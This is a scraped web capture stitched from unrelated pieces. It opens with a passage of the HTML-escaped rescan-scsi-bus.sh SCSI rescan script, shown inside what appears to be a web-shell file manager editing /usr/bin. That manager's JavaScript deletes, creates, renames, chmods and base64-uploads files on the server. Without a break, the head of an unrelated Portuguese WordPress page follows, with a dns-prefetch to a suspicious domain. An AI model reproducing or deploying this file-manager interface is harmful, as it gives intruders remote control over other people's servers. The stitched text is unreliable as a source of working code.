      if [ &quot;$tmplun&quot; = &quot;$lun&quot; ] ; then
        inlist=1
        dolunscan $lun0added
        [ $? -eq 1 ] &amp;&amp; break
      else
        newsearch=&quot;$newsearch $tmplun&quot;
      fi
    done
    # OK, we have now done a lunscan on $lun and
    # $newsearch is the old $targetluns without $lun
    if [ -z &quot;$inlist&quot; ]; then
      # Stale lun
      lunremove=&quot;$lunremove $lun&quot;
    fi
    # $lun removed from $lunsearch
    targetluns=${newsearch# }
  done
  # Add new ones and check stale ones
  for lun in $targetluns $lunremove; do
    dolunscan $lun0added
    [ $? -eq 1 ] &amp;&amp; break
  done
}

# Perform search (scan $host)
dosearch ()
{
  if [ -z &quot;$channelsearch&quot; ] ; then
    chanlist
  fi
  for channel in $channelsearch; do
    if [ -z &quot;$idsearch&quot; ] ; then
      if [ -z &quot;$lunsearch&quot; ] ; then
	idlist
      else
	idsearch=$(find /sys/bus/scsi/devices -name &quot;target${host}:${channel}:*&quot; -printf &quot;%f\n&quot; | cut -f 3 -d :)
      fi
    fi
    for id in $idsearch; do
      if [ -z &quot;$lunsearch&quot; ] ; then
        doreportlun
      else
        for lun in $lunsearch; do
          dolunscan
          [ $? -eq 1 ] &amp;&amp; break
        done
      fi
    done
  done
}

expandlist ()
{
  list=$1
  result=&quot;&quot;
  first=${list%%,*}
  rest=${list#*,}
  while [ ! -z &quot;$first&quot; ] ; do
    beg=${first%%-*};
    if [ &quot;$beg&quot; = &quot;$first&quot; ] ; then
      result=&quot;$result $beg&quot;;
    else
      end=${first#*-}
      result=&quot;$result $(seq -s &#039; &#039; $beg $end)&quot;
    fi
    [ &quot;$rest&quot; = &quot;$first&quot; ] &amp;&amp; rest=&quot;&quot;
    first=${rest%%,*}
    rest=${rest#*,}
  done
  echo &quot;$result&quot;
}

searchexisting()
{
  local tmpch;
  local tmpid
  local match=0
  local targets=

  targets=$(find /sys/bus/scsi/devices -name &quot;target${host}:*&quot; -printf &quot;%f\n&quot; | cut -d : -f 2-3)
  # Nothing came back on this host, so we should skip it
  [ -z &quot;$targets&quot; ] &amp;&amp; return

  local target=;
  for target in $targets ; do
    channel=${target%:*}
    id=${target#*:}
    if [ -n &quot;$channelsearch&quot; ] ; then
      for tmpch in $channelsearch ; do
        [ $tmpch -eq &quot;$channel&quot; ] &amp;&amp; match=1
      done
    else
      match=1
    fi

    [ $match -eq 0 ] &amp;&amp; continue
    match=0

    if [ &quot;$filter_ids&quot; -eq 1 ] ; then
      for tmpid in $idsearch ; do
        if [ &quot;$tmpid&quot; = &quot;$id&quot; ] ; then
          match=1
        fi
      done
    else
      match=1
    fi

    [ $match -eq 0 ] &amp;&amp; continue

    if [ -z &quot;$lunsearch&quot; ] ; then
      doreportlun
    else
      for lun in $lunsearch ; do
        dolunscan
        [ $? -eq 1 ] &amp;&amp; break
      done
    fi
  done
}

# Go through all of the existing devices and figure out any that have been remapped
findremapped()
{
  local hctl=;
  local devs=
  local sddev=
  local id_serial=
  local id_serial_old=
  local remapped=
  mpaths=&quot;&quot;
  local tmpfile=

  tmpfile=$(mktemp /tmp/rescan-scsi-bus.XXXXXXXX 2&gt; /dev/null)
  if [ -z &quot;$tmpfile&quot; ] ; then
    tmpfile=&quot;/tmp/rescan-scsi-bus.$$&quot;
    rm -f $tmpfile
  fi

  # Get all of the ID_SERIAL attributes, after finding their sd node
  devs=$(ls /sys/class/scsi_device/)
  for hctl in $devs ; do
    if [ -d &quot;/sys/class/scsi_device/$hctl/device/block&quot; ] ; then
      sddev=$(ls &quot;/sys/class/scsi_device/$hctl/device/block&quot;)
      id_serial_old=$(udevadm info -q all -n &quot;$sddev&quot; | grep &quot;ID_SERIAL=&quot; | cut -d&quot;=&quot; -f2)
      [ -z &quot;$id_serial_old&quot; ] &amp;&amp; id_serial_old=&quot;none&quot;
      echo &quot;$hctl $sddev $id_serial_old&quot; &gt;&gt; $tmpfile
    fi
  done

  # Trigger udev to update the info
  echo -n &quot;Triggering udev to update device information... &quot;
  /sbin/udevadm trigger
  udevadm_settle 2&gt;&amp;1 /dev/null
  echo &quot;Done&quot;

  # See what changed and reload the respective multipath device if applicable
  while read -r hctl sddev id_serial_old ; do
    remapped=0
    id_serial=$(udevadm info -q all -n &quot;$sddev&quot; | grep &quot;ID_SERIAL=&quot; | cut -d&quot;=&quot; -f2)
    [ -z &quot;$id_serial&quot; ] &amp;&amp; id_serial=&quot;none&quot;
    if [ &quot;$id_serial_old&quot; != &quot;$id_serial&quot; ] ; then
      remapped=1
    fi
    # If udev events updated the disks already, but the multipath device isn&#039;t update
    # check for old devices to make sure we found remapped luns
    if [ -n &quot;$mp_enable&quot; ] &amp;&amp; [ $remapped -eq 0 ]; then
      findmultipath &quot;$sddev&quot; $id_serial
      if [ $? -eq 1 ] ; then
        remapped=1
      fi
    fi

    # if uuid is 1, it&#039;s unmapped, so we don&#039;t want to treat it as a remap
    # if remapped flag is 0, just skip the rest of the logic
    if [ &quot;$id_serial&quot; = &quot;1&quot; ] || [ $remapped -eq 0 ] ; then
      continue
    fi
    printf &quot;${yellow}REMAPPED: %s&quot; &quot;$norm&quot;
    host=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f1)
    channel=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f2)
    id=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f3)
    lun=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f4)
    procscsiscsi
    echo &quot;$SCSISTR&quot;
    incrchgd &quot;$hctl&quot;
  done &lt; $tmpfile
  rm -f $tmpfile

  if [ -n &quot;$mp_enable&quot; ] &amp;&amp; [ -n &quot;$mpaths&quot; ] ; then
    echo &quot;Updating multipath device mappings&quot;
    flushmpaths
    $MULTIPATH | grep &quot;create:&quot; 2&gt; /dev/null
  fi
}

incrfound()
{
  local hctl=&quot;$1&quot;
  if [ -n &quot;$hctl&quot; ] ; then
    let found+=1
    FOUNDDEVS=&quot;$FOUNDDEVS\t[$hctl]\n&quot;
  else
    return
  fi
}

incrchgd()
{
  local hctl=&quot;$1&quot;
  if [ -n &quot;$hctl&quot; ] ; then
    if ! echo &quot;$CHGDEVS&quot; | grep -q &quot;\[$hctl\]&quot;; then
      let updated+=1
      CHGDEVS=&quot;$CHGDEVS\t[$hctl]\n&quot;
    fi
  else
    return
  fi

  if [ -n &quot;$mp_enable&quot; ] ; then
    local sdev

    sdev=$(findsddev &quot;$hctl&quot;)
    if [ -n &quot;$sdev&quot; ] ; then
      findmultipath &quot;$sdev&quot;
    fi
  fi
}

incrrmvd()
{
  local hctl=&quot;$1&quot;
  if [ -n &quot;$hctl&quot; ] ; then
    let rmvd+=1;
    RMVDDEVS=&quot;$RMVDDEVS\t[$hctl]\n&quot;
  else
    return
  fi

  if [ -n &quot;$mp_enable&quot; ] ; then
    local sdev

    sdev=$(findsddev &quot;$hctl&quot;)
    if [ -n &quot;$sdev&quot; ] ; then
      findmultipath &quot;$sdev&quot;
    fi
  fi
}

findsddev()
{
  local hctl=&quot;$1&quot;
  local sddev=
  local blkpath

  blkpath=&quot;/sys/class/scsi_device/$hctl/device/block&quot;
  if [ -e &quot;$blkpath&quot; ] ; then
    sddev=$(ls &quot;$blkpath&quot;)
    echo &quot;$sddev&quot;
  fi
}

addmpathtolist()
{
  local mp=&quot;$1&quot;
  local mp2=

  for mp2 in $mpaths ; do
    # The multipath device is already in the list
    if [ &quot;$mp2&quot; = &quot;$mp&quot; ] ; then
      return
    fi
  done
  mpaths=&quot;$mpaths $mp&quot;
}

findmultipath()
{
  local dev=&quot;$1&quot;
  local find_mismatch=&quot;$2&quot;
  local mp=
  local mp2=
  local found_dup=0
  local maj_min=

  # Need a sdev, and executable multipath and dmsetup command here
  if [ -z &quot;$dev&quot; ] || [ ! -x &quot;$DMSETUP&quot; ] || [ ! -x &quot;$MULTIPATH&quot; ] ; then
    return 1
  fi

  maj_min=$(cat &quot;/sys/block/$dev/dev&quot;)
  for mp in $($DMSETUP ls --target=multipath | cut -f 1) ; do
    [ &quot;$mp&quot; = &quot;No&quot; ] &amp;&amp; break;
    if &quot;$DMSETUP&quot; status &quot;$mp&quot; | grep -q &quot; $maj_min &quot;; then
      # With two arguments, look up current uuid from sysfs
      # if it doesn&#039;t match what was passed, this multipath
      # device is not updated, so this is a remapped LUN
      if [ -n &quot;$find_mismatch&quot; ] ; then
        mp2=$($MULTIPATH -l &quot;$mp&quot; | egrep -o &quot;dm-[0-9]+&quot;)
        mp2=$(cut -f2 -d- &quot;/sys/block/$mp2/dm/uuid&quot;)
        if [ &quot;$find_mismatch&quot; != &quot;$mp2&quot; ] ; then
          addmpathtolist &quot;$mp&quot;
          found_dup=1
        fi
        continue
      fi
      # Normal mode: Find the first multipath with the sdev
      # and add it to the list
      addmpathtolist &quot;$mp&quot;
      return
    fi
  done

  # Return 1 to signal that a duplicate was found to the calling function
  if [ $found_dup -eq 1 ] ; then
    return 1
  else
    return 0
  fi
}

reloadmpaths()
{
  local mpath
  if [ ! -x &quot;$MULTIPATH&quot; ] ; then
    echo &quot;no -x multipath&quot;
    return
  fi

  # Pass 1 as the argument to reload all mpaths
  if [ &quot;$1&quot; = &quot;1&quot; ] ; then
    echo &quot;Reloading all multipath devices&quot;
    $MULTIPATH -r &gt; /dev/null 2&gt;&amp;1
    return
  fi

  # Reload the multipath devices
  for mpath in $mpaths ; do
    echo -n &quot;Reloading multipath device $mpath... &quot;
    if $MULTIPATH -r &quot;$mpath&quot; &gt; /dev/null 2&gt;&amp;1 ; then
      echo &quot;Done&quot;
    else
      echo &quot;Fail&quot;
    fi
  done
}

resizempaths()
{
  local mpath

  for mpath in $mpaths ; do
    echo -n &quot;Resizing multipath map $mpath ...&quot;
    multipathd -k&quot;resize map $mpath&quot;
    let updated+=1
  done
}

flushmpaths()
{
  local mpath
  local remove=&quot;&quot;
  local i
  local flush_retries=5

  if [ -n &quot;$1&quot; ] ; then
    for mpath in $($DMSETUP ls --target=multipath | cut -f 1) ; do
      [ &quot;$mpath&quot; = &quot;No&quot; ] &amp;&amp; break
      num=$($DMSETUP status &quot;$mpath&quot; | awk &#039;BEGIN{RS=&quot; &quot;;active=0}/[0-9]+:[0-9]+/{dev=1}/A/{if (dev == 1) active++; dev=0} END{ print active }&#039;)
      if [ &quot;$num&quot; -eq 0 ] ; then
        remove=&quot;$remove $mpath&quot;
      fi
    done
  else
    remove=&quot;$mpaths&quot;
  fi

  for mpath in $remove ; do
    i=0
    echo -n &quot;Flushing multipath device $mpath... &quot;
    while [ $i -lt $flush_retries ] ; do
      $DMSETUP message &quot;$mpath&quot; 0 fail_if_no_path &gt; /dev/null 2&gt;&amp;1
      if $MULTIPATH -f &quot;$mpath&quot; &gt; /dev/null 2&gt;&amp;1 ; then
        echo &quot;Done ($i retries)&quot;
        break
      elif [ $i -eq $flush_retries ] ; then
        echo &quot;Fail&quot;
      fi
      sleep 0.02
      let i=$i+1
    done
  done
}


# Find resized luns
findresized()
{
  local devs=
  local size=
  local new_size=
  local sysfs_path=
  local sddev=
  local i=
  local m=
  local mpathsize=
  declare -a mpathsizes

  if [ -z &quot;$lunsearch&quot; ] ; then
    devs=$(ls /sys/class/scsi_device/)
  else
    for lun in $lunsearch ; do
      devs=&quot;$devs $(cd /sys/class/scsi_device/ &amp;&amp; ls -d *:${lun})&quot;
    done
  fi

  for hctl in $devs ; do
    sysfs_path=&quot;/sys/class/scsi_device/$hctl/device&quot;
    if [ -d &quot;$sysfs_path/block&quot; ] ; then
      sddev=$(ls &quot;$sysfs_path/block&quot;)
      size=$(cat &quot;$sysfs_path/block/$sddev/size&quot;)

      echo 1 &gt; &quot;$sysfs_path/rescan&quot;
      new_size=$(cat &quot;$sysfs_path/block/$sddev/size&quot;)

      if [ &quot;$size&quot; != &quot;$new_size&quot; ] &amp;&amp; [ &quot;$size&quot; != &quot;0&quot; ] &amp;&amp; [ &quot;$new_size&quot; != &quot;0&quot; ] ; then
        printf &quot;${yellow}RESIZED: %s&quot; &quot;$norm&quot;
        host=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f1)
        channel=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f2)
        id=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f3)
        lun=$(echo &quot;$hctl&quot; | cut -d&quot;:&quot; -f4)

        procscsiscsi
        echo &quot;$SCSISTR&quot;
        incrchgd &quot;$hctl&quot;
      fi
    fi
  done

  if [ -n &quot;$mp_enable&quot; ] &amp;&amp; [ -n &quot;$mpaths&quot; ] ; then
    i=0
    for m in $mpaths ; do
      mpathsizes[$i]=&quot;$($MULTIPATH -l &quot;$m&quot; | egrep -o [0-9]+.[0-9]+[KMGT])&quot;
      let i=$i+1
    done
    resizempaths
    i=0
    for m in $mpaths ; do
      mpathsize=&quot;$($MULTIPATH -l &quot;$m&quot; | egrep -o [0-9\.]+[KMGT])&quot;
      echo &quot;$m ${mpathsizes[$i]} =&gt; $mpathsize&quot;
      let i=$i+1
    done
  fi
}

FOUNDDEVS=&quot;&quot;
CHGDEVS=&quot;&quot;
RMVDDEVS=&quot;&quot;

# main
if [ &quot;@$1&quot; = @--help ] || [ &quot;@$1&quot; = @-h ] || [ &quot;@$1&quot; = &quot;@-?&quot; ] ; then
    echo &quot;Usage: rescan-scsi-bus.sh [options] [host [host ...]]&quot;
    echo &quot;Options:&quot;
    echo &quot; -a      scan all targets, not just currently existing [default: disabled]&quot;
    echo &quot; -c      enables scanning of channels 0 1   [default: 0 / all detected ones]&quot;
    echo &quot; -d      enable debug                       [default: 0]&quot;
    echo &quot; -f      flush failed multipath devices     [default: disabled]&quot;
    echo &quot; -h      help: print this usage message then exit&quot;
    echo &quot; -i      issue a FibreChannel LIP reset     [default: disabled]&quot;
    echo &quot; -I SECS issue a FibreChannel LIP reset and wait for SECS seconds [default: disabled]&quot;
    echo &quot; -l      activates scanning for LUNs 0--7   [default: 0]&quot;
    echo &quot; -L NUM  activates scanning for LUNs 0--NUM [default: 0]&quot;
    echo &quot; -m      update multipath devices           [default: disabled]&quot;
    echo &quot; -r      enables removing of devices        [default: disabled]&quot;
    echo &quot; -s      look for resized disks and reload associated multipath devices, if applicable&quot;
    echo &quot; -u      look for existing disks that have been remapped&quot;
    echo &quot; -V      print version date then exit&quot;
    echo &quot; -w      scan for target device IDs 0--15   [default: 0--7]&quot;
    echo &quot;--alltargets:    same as -a&quot;
    echo &quot;--attachpq3:     Tell kernel to attach sg to LUN 0 that reports PQ=3&quot;
    echo &quot;--channels=LIST: Scan only channel(s) in LIST&quot;
    echo &quot;--color:         use coloured prefixes OLD/NEW/DEL&quot;
    echo &quot;--flush:         same as -f&quot;
    echo &quot;--forceremove:   Remove stale devices (DANGEROUS)&quot;
    echo &quot;--forcerescan:   Remove and readd existing devices (DANGEROUS)&quot;
    echo &quot;--help:          print this usage message then exit&quot;
    echo &quot;--hosts=LIST:    Scan only host(s) in LIST&quot;
    echo &quot;--ids=LIST:      Scan only target ID(s) in LIST&quot;
    echo &quot;--ignore-rev:    Ignore the revision change&quot;
    echo &quot;--issue-lip:     same as -i&quot;
    echo &quot;--issue-lip-wait=SECS:     same as -I&quot;
    echo &quot;--largelun:      Tell kernel to support LUNs &gt; 7 even on SCSI2 devs&quot;
    echo &quot;--luns=LIST:     Scan only lun(s) in LIST&quot;
    echo &quot;--multipath:     same as -m&quot;
    echo &quot;--nooptscan:     don&#039;t stop looking for LUNs if 0 is not found&quot;
    echo &quot;--remove:        same as -r&quot;
    echo &quot;--reportlun2:    Tell kernel to try REPORT_LUN even on SCSI2 devices&quot;
    echo &quot;--resize:        same as -s&quot;
    echo &quot;--sparselun:     Tell kernel to support sparse LUN numbering&quot;
    echo &quot;--sync/nosync:   Issue a sync / no sync [default: sync if remove]&quot;
    echo &quot;--update:        same as -u&quot;
    echo &quot;--version:       same as -V&quot;
    echo &quot;--wide:          same as -w&quot;
    echo &quot;&quot;
    echo &quot;Host numbers may thus be specified either directly on cmd line (deprecated)&quot;
    echo &quot;or with the --hosts=LIST parameter (recommended).&quot;
    echo &quot;LIST: A[-B][,C[-D]]... is a comma separated list of single values and ranges&quot;
    echo &quot;(No spaces allowed.)&quot;
    exit 0
fi

if [ &quot;@$1&quot; = @--version ] || [ &quot;@$1&quot; = @-V ] ; then
    echo ${VERSION}
    exit 0
fi

if [ ! -d /sys/class/scsi_host/ ] &amp;&amp; [ ! -d /proc/scsi/ ] ; then
  echo &quot;Error: SCSI subsystem not active&quot;
  exit 1
fi

# Make sure sg is there
modprobe sg &gt;/dev/null 2&gt;&amp;1

if [ -x /usr/bin/sg_inq ] ; then
  sg_version=$(sg_inq -V 2&gt;&amp;1 | cut -d &quot; &quot; -f 3)
  if [ -n &quot;$sg_version&quot; ] ; then
    sg_ver_maj=${sg_version:0:1}
    sg_version=${sg_version##?.}
    let sg_version+=$((100 * sg_ver_maj))
  fi
  sg_version=${sg_version##0.}
  #echo &quot;\&quot;$sg_version\&quot;&quot;
  if [ -z &quot;$sg_version&quot; ] || [ &quot;$sg_version&quot; -lt 70 ] ; then
    sg_len_arg=&quot;-36&quot;
  else
    sg_len_arg=&quot;--len=36&quot;
  fi
else
  echo &quot;WARN: /usr/bin/sg_inq not present -- please install sg3_utils&quot;
  echo &quot; or rescan-scsi-bus.sh might not fully work.&quot;
fi

# defaults
unsetcolor
debug=0
lunsearch=
opt_idsearch=$(seq -s &#039; &#039; 0 7)
filter_ids=0
opt_channelsearch=
remove=
updated=0
update=0
resize=0
forceremove=
optscan=1
sync=1
existing_targets=1
mp_enable=
lipreset=-1
declare -i scan_flags=0
ignore_rev=0

# Scan options
opt=&quot;$1&quot;
while [ ! -z &quot;$opt&quot; ] &amp;&amp; [ -z &quot;${opt##-*}&quot; ] ; do
  opt=${opt#-}
  case &quot;$opt&quot; in
    a) existing_targets=;;  #Scan ALL targets when specified
    c) opt_channelsearch=&quot;0 1&quot; ;;
    d) debug=1 ;;
    f) flush=1 ;;
    i) lipreset=0 ;;
    I) shift; lipreset=$opt ;;
    l) lunsearch=$(seq -s &#039; &#039; 0 7) ;;
    L) lunsearch=$(seq -s &#039; &#039; 0 &quot;$2&quot;); shift ;;
    m) mp_enable=1 ;;
    r) remove=1 ;;
    s) resize=1; mp_enable=1 ;;
    u) update=1 ;;
    w) opt_idsearch=$(seq -s &#039; &#039; 0 15) ;;
    -alltargets)  existing_targets=;;
    -attachpq3) scan_flags=$((scan_flags|0x1000000)) ;;
    -channels=*)  arg=${opt#-channels=};opt_channelsearch=$(expandlist &quot;$arg&quot;) ;;
    -color) setcolor ;;
    -flush)       flush=1 ;;
    -forceremove) remove=1; forceremove=1 ;;
    -forcerescan) remove=1; forcerescan=1 ;;
    -hosts=*)     arg=${opt#-hosts=};   hosts=$(expandlist &quot;$arg&quot;) ;;
    -ids=*)   arg=${opt#-ids=};         opt_idsearch=$(expandlist &quot;$arg&quot;) ; filter_ids=1;;
    -ignore-rev) ignore_rev=1;;
    -issue-lip) lipreset=0 ;;
    -issue-lip-wait) lipreset=${opt#-issue-lip-wait=};;
    -largelun) scan_flags=$((scan_flags|0x200)) ;;
    -luns=*)  arg=${opt#-luns=};        lunsearch=$(expandlist &quot;$arg&quot;) ;;
    -multipath) mp_enable=1 ;;
    -nooptscan) optscan=0 ;;
    -nosync) sync=0 ;;
    -remove)      remove=1 ;;
    -reportlun2) scan_flags=$((scan_flags|0x20000)) ;;
    -resize) resize=1;;
    -sparselun) scan_flags=$((scan_flags|0x40)) ;;
    -sync) sync=2 ;;
    -update) update=1;;
    -wide) opt_idsearch=$(seq -s &#039; &#039; 0 15) ;;
    *) echo &quot;Unknown option -$opt !&quot; ;;
  esac
  shift
  opt=&quot;$1&quot;
done

if [ -z &quot;$hosts&quot; ] ; then
  if [ -d /sys/class/scsi_host ] ; then
    findhosts_26
  else
    findhosts
  fi
fi

if [ -d /sys/class/scsi_host ] &amp;&amp; [ ! -w /sys/class/scsi_host ]; then
  echo &quot;You need to run scsi-rescan-bus.sh as root&quot;
  exit 2
fi
[ &quot;$sync&quot; = 1 ] &amp;&amp; [ &quot;$remove&quot; = 1 ] &amp;&amp; sync=2
if [ &quot;$sync&quot; = 2 ] ; then
  echo &quot;Syncing file systems&quot;
  sync
fi
if [ -w /sys/module/scsi_mod/parameters/default_dev_flags ] &amp;&amp; [ $scan_flags != 0 ] ; then
  OLD_SCANFLAGS=$(cat /sys/module/scsi_mod/parameters/default_dev_flags)
  NEW_SCANFLAGS=$((OLD_SCANFLAGS|scan_flags))
  if [ &quot;$OLD_SCANFLAGS&quot; != &quot;$NEW_SCANFLAGS&quot; ] ; then
    echo -n &quot;Temporarily setting kernel scanning flags from &quot;
    printf &quot;0x%08x to 0x%08x\n&quot; &quot;$OLD_SCANFLAGS&quot; &quot;$NEW_SCANFLAGS&quot;
    echo $NEW_SCANFLAGS &gt; /sys/module/scsi_mod/parameters/default_dev_flags
  else
    unset OLD_SCANFLAGS
  fi
fi
DMSETUP=$(which dmsetup)
[ -z &quot;$DMSETUP&quot; ] &amp;&amp; flush= &amp;&amp; mp_enable=
MULTIPATH=$(which multipath)
[ -z &quot;$MULTIPATH&quot; ] &amp;&amp; flush= &amp;&amp; mp_enable=

echo -n &quot;Scanning SCSI subsystem for new devices&quot;
[ -z &quot;$flush&quot; ] || echo -n &quot;, flush failed multipath devices,&quot;
[ -z &quot;$remove&quot; ] || echo -n &quot; and remove devices that have disappeared&quot;
echo
declare -i found=0
declare -i updated=0
declare -i rmvd=0

if [ -n &quot;$flush&quot; ] ; then
  if [ -x &quot;$MULTIPATH&quot; ] ; then
    flushmpaths 1
  fi
fi

# Update existing mappings
if [ $update -eq 1 ] ; then
  echo &quot;Searching for remapped LUNs&quot;
  findremapped
  # If you&#039;ve changed the mapping, there&#039;s a chance it&#039;s a different size
  mpaths=&quot;&quot;
  findresized
# Search for resized LUNs
elif [ $resize -eq 1 ] ; then
  echo &quot;Searching for resized LUNs&quot;
  findresized
# Normal rescan mode
else
  for host in $hosts; do
  echo -n &quot;Scanning host $host &quot;
  if [ -e &quot;/sys/class/fc_host/host$host&quot; ] ; then
    # It&#039;s pointless to do a target scan on FC
    issue_lip=/sys/class/fc_host/host$host/issue_lip
    if [ -e &quot;$issue_lip&quot; ] &amp;&amp; [ &quot;$lipreset&quot; -ge 0 ] ; then
      echo 1 &gt; &quot;$issue_lip&quot; 2&gt; /dev/null;
      udevadm_settle
      [ &quot;$lipreset&quot; -gt 0 ] &amp;&amp; sleep &quot;$lipreset&quot;
    fi
    channelsearch=
    idsearch=
  else
    channelsearch=$opt_channelsearch
    idsearch=$opt_idsearch
  fi
  [ -n &quot;$channelsearch&quot; ] &amp;&amp; echo -n &quot;channels $channelsearch &quot;
  echo -n &quot;for &quot;
  if [ -n &quot;$idsearch&quot; ] ; then
    echo -n &quot; SCSI target IDs $idsearch&quot;
  else
    echo -n &quot; all SCSI target IDs&quot;
  fi
  if [ -n &quot;$lunsearch&quot; ] ; then
    echo &quot;, LUNs $lunsearch&quot;
  else
    echo &quot;, all LUNs&quot;
  fi

  if [ -n &quot;$existing_targets&quot; ] ; then
    searchexisting
  else
    dosearch
  fi
  done
  if [ -n &quot;$OLD_SCANFLAGS&quot; ] ; then
    echo &quot;$OLD_SCANFLAGS&quot; &gt; /sys/module/scsi_mod/parameters/default_dev_flags
  fi
fi

let rmvd_found=$rmvd+$found
if [ -n &quot;$mp_enable&quot; ] &amp;&amp; [ $rmvd_found -gt 0 ] ; then
  echo &quot;Attempting to update multipath devices...&quot;
  if [ $rmvd -gt 0 ] ; then
    udevadm_settle
    echo &quot;Removing multipath mappings for removed devices if all paths are now failed... &quot;
    flushmpaths 1
  fi
  if [ $found -gt 0 ] ; then
    /sbin/udevadm trigger --sysname-match=sd*
    udevadm_settle
    if [ -x &quot;$MULTIPATH&quot; ] ; then
      echo &quot;Trying to discover new multipath mappings for newly discovered devices... &quot;
      $MULTIPATH | grep &quot;create:&quot; 2&gt; /dev/null
    fi
  fi
fi

echo &quot;$found new or changed device(s) found.          &quot;
if [ ! -z &quot;$FOUNDDEVS&quot; ] ; then
  echo -e &quot;$FOUNDDEVS&quot;
fi
echo &quot;$updated remapped or resized device(s) found.&quot;
if [ ! -z &quot;$CHGDEVS&quot; ] ; then
  echo -e &quot;$CHGDEVS&quot;
fi
echo &quot;$rmvd device(s) removed.                 &quot;
if [ ! -z &quot;$RMVDDEVS&quot; ] ; then
  echo -e &quot;$RMVDDEVS&quot;
fi

# Local Variables:
# sh-basic-offset: 2
# End:

</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//nornikal3pi12.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
